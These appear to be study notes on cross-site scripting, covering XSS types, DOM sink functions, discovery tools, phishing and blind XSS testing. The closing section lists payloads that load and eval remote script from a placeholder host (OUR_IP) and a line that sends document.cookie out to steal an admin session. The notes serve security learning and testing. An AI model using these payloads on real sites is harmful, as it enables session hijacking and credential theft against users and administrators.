2 minute read

Types of XSS attacks

  • Stored (Persistent) - user input is stored on the back-end database, and displayed for all users.
  • Reflected (Non-persistent) - user input not stored, but still displayed on the page after being processed by the back-end server.
  • DOM-based - user input is not stored, and not processed by the back-end servers at all; attack vector is through client-side HTTP parameters/anchor tags.

Stored XSS

To know if the payload is persistent, reload the page and see if the payload appears again.

  • For example, if the payload consists of an alert(), reloading the page will trigger the alert() again.

Reflected XSS

For reflected XSS, the payload will not appear again once we navigate away from the page.

DOM-based XSS

For DOM XSS, JavaScript is used to modify the page source through the Document Object Model (DOM).

JS Sink Functions used for DOM XSS:

  • document.write()
  • DOM.innerHTML
  • DOM.outerHTML

jQuery functions for DOM XSS:

  • add()
  • after()
  • append()

XSS Discovery

Automated Discovery

Useful tools: XSS Strike, Brute XSS, XSSer

Manual Discovery

Manually inject payloads into input fields to test.

  • Note that aside from form fields, HTTP headers can also be vulnerable if their values are displayed on the page.

Alternatively, we can also review front-end and back-end code to look for usage of Source/Sink functions.

Defacing and Phishing

Websites can be defaced if it has a stored XSS vulnerability.

Phishing can be carried out if we can inject HTML elements (like input forms for username and password). This is possible irrespective of XSS attack type.

  • For non-persistent XSS, we can generate a custom phishing link with our custom payload.
  • Credentials can be stolen this way if we have a listener on the phishing page.

In blind XSS situations, the vulnerabilities are triggered on pages we don’t have access to. This is possible on registration pages, or support pages (generally, pages where the content entered is to be reviewed by an administrator).

To test for blind XSS, we can try to inject a payload that sends a GET request to our local web server.

  • This can be done by setting the JS script source to our local domain: <script src="http://OUR_IP/script.js"></script>
  • The file/directory to GET can be modified to the field we are testing. If we receive a GET request on our web server, we know the field is vulnerable.

Some example blind XSS payloads:

<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>

Once a working payload is found, we can inject another payload to steal the admin’s cookie (session hijacking) - this cookie can be retrieved using the document.cookie attribute.

  • For example: new Image().src='http://OUR_IP/index.php?c='+document.cookie
  • If necessary, the cookie can be encoded (base64 or URL-encoded).

With this obtained cookie, we can inject it into the HTTP headers to hijack the admin’s session.